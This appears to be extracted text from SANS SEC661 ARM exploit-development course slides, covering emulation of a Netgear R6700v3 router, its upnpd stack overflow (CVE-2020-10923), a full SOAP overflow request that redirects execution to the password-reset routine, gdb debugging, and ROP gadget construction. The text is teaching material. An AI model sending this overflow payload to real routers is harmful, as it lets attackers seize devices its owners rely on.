These were bypassed by removing them from the squashfs filesystem, but this did not affect the web
services we were targeting. No changes had to be made to the Netgear filesystem.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 31


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Troubleshooting init

09b91222e5d2d3d668cf8e52ec5d35ba
1
2 Let’s open rc in ghidra

micede1865@wii999_com and see whats going on.


3

When executing init, nothing happens. It is really a


symlink to rc.

24356915 SEC661 | ARM Exploit Development 32

Trying to get the netgear router to boot required some troubleshooting and a little bit of reverse engineering
work.

1.
2.
3.
Paul Erwin
Initially, I tried to start it up with “init”, but that did not seem to do anything.
If you look at init, you see that it is a symlink to a file called rc.
If you try to run rc without any parameters, you are given a usage statement.

So, let’s take a look at the rc binary in Ghidra to try to get a better understanding of what is going on.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

32 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Troubleshooting rc, main function

09b91222e5d2d3d668cf8e52ec5d35ba

In the main function, we see

micede1865@wii999_com some checks on the command


line input. Based on further
analysis, we determine to use
preinit to launch rc.

24356915 SEC661 | ARM Exploit Development 33

When looking at the main function in the rc binary, we see that there are comparisons checking the command
line input. If the input from the command line contains “preinit”, the normal boot sequence will begin. So, that
is why we use “/sbin/preinit” in the netgear startup script.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 33


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 34

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

34 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

Netgear Exploit
09b91222e5d2d3d668cf8e52ec5d35ba
The disclosure for the Netgear bug in this section was released a month before
development of this course began. It serves as a reminder that many of these IoT
devices have still not implemented some of the exploit mitigations that are now
standard on other systems. It also provides us with a real-world example, so that we
micede1865@wii999_com
can see what we’ve learned so far applied to actual systems. The authors did an
excellent job describing the exploit in their writeup, so check it out when you get a
chance. Ideally, both the exploit and the vulnerability will be recognizable based on
what we’ve been learning so far.

24356915 SEC661 | ARM Exploit Development 35

Introduction to the section.

Reference:

Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 35


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 – CVE-2020-10923

• Discovered by Pedro Ribeiro and Radek Domanski


09b91222e5d2d3d668cf8e52ec5d35ba
• Stack-based buffer overflow in Universal Plug and Play
Daemon (upnpd)
• Disclosed 6/15/2020

micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 36

The vulnerability we are going to look at next was presented by Pedro Ribeiro and Radek Domanski at the
2019 Pwn2Own Mobile competition. The vulnerability exists in the upnpd daemon which is listening on port
5000 on the LAN interface. The universal plug and play daemon (upnpd) is used for network discovery and

Paul Erwin
advertisements. This bug is preauthentication, meaning that you do not need to have any valid login
credentials to exploit it.

The vulnerability affects Netgear R6700v3 series routers running firmware versions V1.0.4.82_10.0.57 and
V1.0.4.84_10.0.58.

Reference:
https://www.zerodayinitiative.com/advisories/ZDI-20-703/

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://github.com/rapid7/metasploit-
framework/blob/master//modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html

live

36 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 – Security Controls

• XN protection – stack is not executable


09b91222e5d2d3d668cf8e52ec5d35ba
• ASLR on stack and libraries
• No ASLR for the upnpd binary

# uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct

micede1865@wii999_com
19 11:17:27 CST 2019 armv7l unknown

ASLR is off in the


emulated environment

24356915 SEC661 | ARM Exploit Development 37

On the Netgear R6700v3, we see the following security posture:

• XN (execute never) is turned on and the stack is not executable



Paul Erwin
ASLR is turned on, so even if the stack was executable, we would have to determine where our shellcode
was before we could jump to it
The shared objects in the upnpd process are utilizing ASLR
• The actual upnpd binary is NOT using ASLR
• We need to be careful about sending NULL bytes in this exploit as they can cut our input string short

Note: Our emulated environment has ASLR turned off

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 37


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 – Vulnerable Function

09b91222e5d2d3d668cf8e52ec5d35ba
undefined4 sa_setBlockName(char *NewBlockSiteName, int len)
sscanf
{
... Use NewBlockSiteName
char buffer[1024]; as input and copy the
undefined4 first_int; first integer (%d) into
scanf_int = 0;
&first_int
scanf_str._0_4_ = 0; Copy in the rest of the

micede1865@wii999_com
memset(buffer+ 4, 0, 0x3fc);
print_msg(3, "%s(%d);\n", "sa_setBlockName", 0x42d);
if (len != 0) {
sscanf_result = sscanf(NewBlockSiteName, "%d%s", &first_int, buffer);
parameter as a string
into buffer[1024]

...

24356915 SEC661 | ARM Exploit Development 38

This is the vulnerable function which can be found at offset 0x00024b9c in the upnpd binary. The snippet in
the slide has been labeled based on the writeup and so it might not look the same in your Ghidra instance. This
function receives a string that gets parsed out from a web request called NewBlockSiteName.

Paul Erwin
The sscanf (string scan format) gets called and parses the NewBlockSiteName input into two parts
according to the provided format (%d%s). It first parses out an integer (4 bytes, %d) from the beginning of the
NewBlockSiteName and stores it into &first_int. It treats the rest of the input as a string and copies it into
the buffer char array.

The buffer char array is a local stack variable that can only hold 1024 bytes. If any more data gets copied into
it, the buffer will overflow. The sscanf function only knows that a string follows the first integer in the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
input, and it will keep copying into the buffer until it reaches a null byte. This is where the memory corruption
occurs. Just like we learned in our standalone examples, the saved link register will be overwritten and when
the function returns, the attacker will have control of execution.

Reference:
Run “man sscanf” from a Linux console
Great writeup by the authors:
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
live

38 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 – Exploitation

09b91222e5d2d3d668cf8e52ec5d35ba
• Deliver input to the vulnerable function in the format
“%d%s”
• Overflow the buffer[1024] stack variable and overwrite
the saved LR value stored on the stack
• Redirect execution to password reset functionality within
micede1865@wii999_com
the target binary (upnpd)
• Access the router via the newly assigned default
password

24356915 SEC661 | ARM Exploit Development 39

How can we exploit this?

- Create an input buffer to reach the vulnerable code

Paul Erwin
- We need to have the right fields/parameters in the web request (next slide)
- The NewBlockSiteName needs to have the “%d%s” format so that the sscanf function parses it correctly
- We need to provide enough data to overflow the local buffer variable and overwrite the saved LR on the
stack

But where do we want to redirect execution to?

The exploit authors demonstrate this exploit by jumping to some code inside the upnpd binary that resets the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
password for the http interface to “password”. Since there is no ASLR on the upnpd binary itself and the
password reset functionality is in that code, this is a viable option. In the upnpd binary, the password reset
functionality is at 0x00039a58. Since we send this address in reverse order and it is at the end of our input for
this field, we do not have to worry about the null byte.

Note: There is also a telnet backdoor for these particular routers.

Reference:
https://openwrt.org/toh/netgear/telnet.console
live

© 2021 Hungry Hackers, LLC 39


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 – Overflow Using NewBlockSiteName

09b91222e5d2d3d668cf8e52ec5d35ba
POST soap/server_sa HTTP/1.1
Host: 192.168.2.21
Content-Length: 1337
Content-Type: application/x-www-form-urlencoded
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

24356915 SEC661 | ARM Exploit Development 40

NewBlockSiteName is the field we are overflowing, and this becomes obvious when we look at the web
request. There is an “X” shown at the end of our input, but that is because when the exploit gets printed to the
screen, it does not know how to display some of the non-ascii characters. The writeup provided by the authors

Paul Erwin
describes in detail how this request reaches the vulnerable function and why we need the different SOAP
parameters. You may also notice the 1 at the very beginning of the A’s. This 1 gets parsed out as an integer
(%d) in the sscanf function prior to reading in the string.

Running the exploit from hammerhead:

nemo@hammerhead:~/labs/netgear$ python exploit.py


POST soap/server_sa HTTP/1.1

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Host: 192.168.2.21
Content-Length: 1337
Content-Type: application/x-www-form-urlencoded
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever

Continued on the following page.

live

40 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

09b91222e5d2d3d668cf8e52ec5d35ba
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAX
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
24356915
Length: 1337

Reference:
The writeup has an excellent description on the code path.
Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 41


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Netgear R6700v3 - Debugging

• Upnpd is running in the


09b91222e5d2d3d668cf8e52ec5d35ba
dogfish vm in a chroot
nemo@R6700v3:~$ ps -U root | grep upnpd
3418 ? 00:00:00 upnpd

environment nemo@R6700v3:~$ sudo gdb --pid 3418


...
Attaching to process 3418
• Debug access is available Reading symbols from
/home/nemo/netgear_rootfs/usr/sbin/upnpd...
from dogfish to the (No debugging symbols found in
/home/nemo/netgear_rootfs/usr/sbin/upnpd)
Netgear processes
micede1865@wii999_com
...
GDB will be unable to debug shared library
initializers
and track explicitly loaded dynamic code.
0xb6ce44c8 in ?? ()
...
The hostname (R6700v3) can be confusing (gdb)
in this output, but these commands are
being done from the dogfish vm.

24356915 SEC661 | ARM Exploit Development 42

Since upnpd is running in the dogfish vm in a chroot environment, we can see this process in the dogfish vm
and attach to it with gdb.

Paul Erwin
This is actually the dogfish vm still, but the hostname gets temporarily renamed when the nvram is loaded for
the emulated router.

By attaching to the process with a debugger we can step through, examine memory/registers and perform in-
depth analysis on the vulnerable process.

Also, if we were writing a new exploit, being able to debug the target process is a huge advantage, because it
lets us view and see what is going on as we are tailoring our exploit buffer.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~$ ssh dogfish
nemo@dogfish's password:
Last login: Sat Oct 19 16:13:08 2019 from 192.168.2.16

nemo@R6700v3:~$ ps -U root | grep upnpd


3418 ? 00:00:00 upnpd

Continued on the following page.


live

42 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@R6700v3:~$ sudo gdb --pid 3418
[sudo] password for nemo:
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

09b91222e5d2d3d668cf8e52ec5d35ba
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
micede1865@wii999_com
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 3418
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
0xb6ce44c8 in ?? ()
(gdb)
24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 43


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 8 | Netgear Exploit
Duration Time: 20 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
In June 2020, Pedro Ribeiro and Radek Domanski disclosed a remote buffer overflow that could be used to
issue a password reset on Netgear R6700 routers. Prior to its public disclosure, the vulnerability was
demonstrated at the Pwn2Own Mobile competition in November 2019. The vulnerability affects the
Universal Plug and Play daemon which listens by default on port 5000 for these devices.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Starting up an emulated router
• Launching an exploit against an emulated
ARM target
This lab will be done in the Dogfish virtual
machine.

• (Optional) Debugging the ARM target, See the SANS SEC661 workbook for detailed lab
observing a crash and walking through a instructions.
redirection payload
Tools used: python, gdb

24356915 SEC661 | ARM Exploit Development 44

For detailed lab instructions, see the SANS SEC661 workbook.

Reference:

Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

44 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 45

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 45


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

ROP
09b91222e5d2d3d668cf8e52ec5d35ba
Return Oriented Programming or ROP can be used as a workaround for the execute
never (XN) security protection. Instead of delivering shellcode and jumping directly to
it, we can live off the land by executing small sections of existing code already present
micede1865@wii999_com
in the target’s memory space. The ability to do this depends on having control of the
stack and a knowledge of the program’s memory layout. ROP can be used as a
foothold and even leveraged to disable security protections, making the shellcode we
delivered executable.

24356915 SEC661 | ARM Exploit Development 46

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

46 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ROP (Return Oriented Programming)

• Leverage the stack to piece together small snippets of


09b91222e5d2d3d668cf8e52ec5d35ba
executable code to accomplish a larger goal
• Requires knowledge of the target’s address space
• Runtime addresses of gadgets and other necessary items (i.e.,
strings)
• Other libraries or shared objects loaded in process memory can be
micede1865@wii999_com
used for ROP

24356915 SEC661 | ARM Exploit Development 47

ROP stands for return oriented programming. It is a way to execute multiple small chunks of code to
accomplish a larger goal. If we control the stack, we can direct execution to a small snippet of code and when
it returns (gets the return address off the stack), we can give it another address to jump to, execute some more

Paul Erwin
instructions and return. This can continue on until we have accomplished our goal.

We use ROP to get around the fact that we can’t deliver and jump directly to shellcode, because the location
where we deliver the shellcode is marked non-executable (XN/execute never). We need to know the addresses
where we want to jump to, so if ASLR is enabled, we need to implement a workaround.

ROP can be used on the main binary or in any of the executable shared objects that get loaded into process
memory, such as libc. You usually need a good amount of code to find useful ROP gadgets, so not every

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
binary is good for ROP.

There is no return instruction in 32-bit ARM, so typically we are looking for pop instructions that are popping
a value into the pc register. Also, branches to registers are frequently used (i.e., blx r1, bx lr).

If a new version of the target binary is released, you need to update your ROP so that it accounts for the
changes to the offsets and addresses within the binary.

When developing an exploit, it is good to clearly define a goal that you are trying to accomplish via ROP.
live

© 2021 Hungry Hackers, LLC 47


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ROP Gadgets

• Scattered snippets of code near a “return” used to


09b91222e5d2d3d668cf8e52ec5d35ba
accomplish part of a bigger task

pop {r4, pc} pop {r3, r4, r5, pc}


mov r0, r4
ldmia.w sp!, {r4, r5, r6, lr}
bx r3

micede1865@wii999_com
mov
ldr.w
bx
sp, r7
r7, [sp], #4
lr
mov r0, r4
add sp, #12
pop {r4, r5, r6, r7, pc}

pop {r1, pc}


pop {r3, pc} pop {r0, r2, r3, r4, r5, r7, pc}

24356915 SEC661 | ARM Exploit Development 48

ROP gadgets are the small snippets of code that we jump to and return from. The return is the “pop pc”
element. The other instructions are what help us build the different pieces needed to accomplish our goal.

Paul Erwin
It is important to remember that we control the stack, so when values get popped off, we can set up the stack
so that the values we define get popped into the appropriate registers. Some registers we don’t care about, so
we can put any values there, but we need to include them to keep our alignment intact.

Here we show a lot of single pop instructions and a few with more than one instruction. This works, but it may
be necessary to broaden our search and look at some more instructions that come before the pop pc. Some
instructions may be irrelevant, but we can use the gadget if it doesn’t break what we are trying to do.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Take the following gadget for example:
mov
ldmia.w
r0, r4
sp!, {r4, r5, r6, lr}
bx r3

Maybe we already control what is in the r3 and r4 registers and really need to move r4 into r0 and then
branch to the address we have stored in r3. We don’t care that the middle instruction will load the r4, r5,
r6, and lr registers. It won’t affect what we are trying to do. The r3 does not get disturbed here and neither
does r0. Note: In this example, you might want to populate the lr register for when function at r3 tries to
return.
live
We also need to consider the effects of the gadget’s execution on the stack.

If we are executing the following gadget and we want to populate r0 with the number 8 and then jump to
address 0x12345678, we need to account for what will be popped off the stack. Continued ...

48 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


pop {r0, r2, r3, r4, r5, r7, pc}

Our stack should look like this at the time this instruction gets executed.
0x00000008 -> gets popped into r0, good! (SP, when this instruction gets executed)
0x41414141 -> gets popped into r2, don’t care.

09b91222e5d2d3d668cf8e52ec5d35ba
0x42424242 -> gets popped into r3, don’t care.
0x43434343 -> gets popped into r4, don’t care.
0x44444444 -> gets popped into r5, don’t care.
0x45454545 -> gets popped into r7, don’t care.
0x12345678 -> gets popped into pc, good!

Also, need to consider adjustments to SP in the gadget.


For example, if we controlled the value of r4, and needed in r0, and then wanted to jump to 0x24682468 and

micede1865@wii999_com
use the following gadget, we need to account for everything that would happen to the SP here:

mov r0, r4
add sp, #12
pop {r4, r5, r6, r7, pc

r4 gets moved into r0, good

This is what our stack should look like at the time we execute this ROP gadget. Notice how we account for the
add to sp and the pops.
0x41414141 <- SP is here
0x41414141
24356915
0x41414141
0x42424242 <- add sp, #12 moves SP here after the second instruction in the gadget, -> gets popped into r4 on
the next instruction
0x42424242 -> popped into r5
0x42424242 -> popped into r6
0x42424242 -> popped into r7
0x24682468 -> popped into pc, good!Paul Erwin
The following commands will find potential ROP gadgets in libc.
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 pop
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep $'bx\tr’
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 $'bx\tr3’
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 $'bx\tr3' | grep r0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 49


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Finding ROP Gadgets

• There are many different ways to find ROP gadgets


09b91222e5d2d3d668cf8e52ec5d35ba
• Scripting with tools like IDA Python, Ghidra, etc
• Grepping from objdump –d output
• Using plugins or specialized tools like Ropper
nemo@hammerhead:~/labs/leak$ ropper -f libc-2.31.so --search "pop {r1"
[INFO] Load gadgets from cache

micede1865@wii999_com
...
[INFO] Searching for gadgets: pop {r1

[INFO] File: libc-2.31.so


0x00051ad6 (0x00051ad7): pop {r1, pc};
0x0001b646 (0x0001b647): pop {r1, r2, r3, r4, pc};
0x00041af8 (0x00041af9): pop {r1, r2, r3, r4, r5, r6, pc};
0x0002b696 (0x0002b697): pop {r1, r2, r3, r4, r5, r6, r7}; movs r0, #0; bx lr;
0x000602e4 (0x000602e5): pop {r1, r2, r3, r4, r5, r7, pc};

24356915 SEC661 | ARM Exploit Development 50

There are different ways to find ROP gadgets. Ideally you want to minimize the number of instructions that you execute
with each gadget. This means try to accomplish what you want to do as close to the return (pop pc) as possible. Start
moving your search further and further away from the pop if you can’t find what you need close to the pop. Be aware

Paul Erwin
of unnecessary instructions in the gadgets that you need to deal with. Simple ROP gadgets can be found by grepping
disassembly output or if you need to take things a step further, you can write your own scripts or use one of the many
ROP finding tools that are out there.

Ropper is a popular tool that is easy to use. It has been installed in the hammerhead vm and can be used to analyze
ARM binaries. Ropper can also be ran interactively. The /quality/ parameters are useful for minimizing the number of
unnecessary instructions in a ROP gadget.

nemo@hammerhead:~$ ropper
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(ropper)> file /home/nemo/labs/leak/libc-2.31.so
...
[INFO] File loaded.
(libc-2.31.so/ELF/ARMTHUMB)>
(libc-2.31.so/ELF/ARMTHUMB)> help search
search [/<quality>/] <string> - search gadgets.
/quality/ The quality of the gadget (1 = best).The better the quality the less instructions are between the found
introduction and return
?
%
any character
any string
live
Reference:
https://github.com/sashs/Ropper

50 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The Stack and ROP Chains

• The attacker-controlled
09b91222e5d2d3d668cf8e52ec5d35ba
stack is the key component AAAA
AAAA
overflow
occurs

for coordinating a ROP AAAA


g1_address
chain r0
r2
• Providing addresses to direct r3
attacker controls
the stack data
execution r4

micede1865@wii999_com
• Staging values to be popped into
registers
r5
r7
g2_address
r1
gadget1 pop {r0, r2, r3, r4, r5, r7, pc} adder_address
(g1)

gadget2 pop {r1, pc}


(g2)

24356915 SEC661 | ARM Exploit Development 51

The stack is the key component for coordinating ROP. The stack is used to orchestrate the calling and
returning of the gadgets. The alignment has to work as the stack pointer is shifted and registers are popped off.
The gadgets will be used to piece together executable instructions throughout the program space in order to

Paul Erwin
accomplish our goal. It is usually a good idea to write out what you expect the stack to look like when
formulating a ROP chain.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 51


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example – Calling the adder Function with ROP

• Use ROP to call the adder function


09b91222e5d2d3d668cf8e52ec5d35ba
• Move the values 5,6,7,8 into registers r0-r3
• Redirect execution to the adder function

int adder(int a, int b, int c, int d) {

micede1865@wii999_com }
unsigned int result = a+b+c+d;
return result;

GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 52

As an example, let’s try to create a ROP chain that will call the adder function and pass it the arguments
5,6,7, and 8. Recall that if we have less than 4 arguments, they are passed in registers r0-r3.

Paul Erwin
Stay focused on the goal when looking for gadgets. You may need to execute unnecessary instructions that are
mixed in with your gadgets, but this is ok as long as they don’t disrupt our goal.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

52 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP – Overflow and Assumptions

• We can overwrite the


09b91222e5d2d3d668cf8e52ec5d35ba
saved lr and beyond AAAA
AAAA
overflow
occurs

• We control the stack AAAA


saved lr

attacker controls
the stack data

micede1865@wii999_com
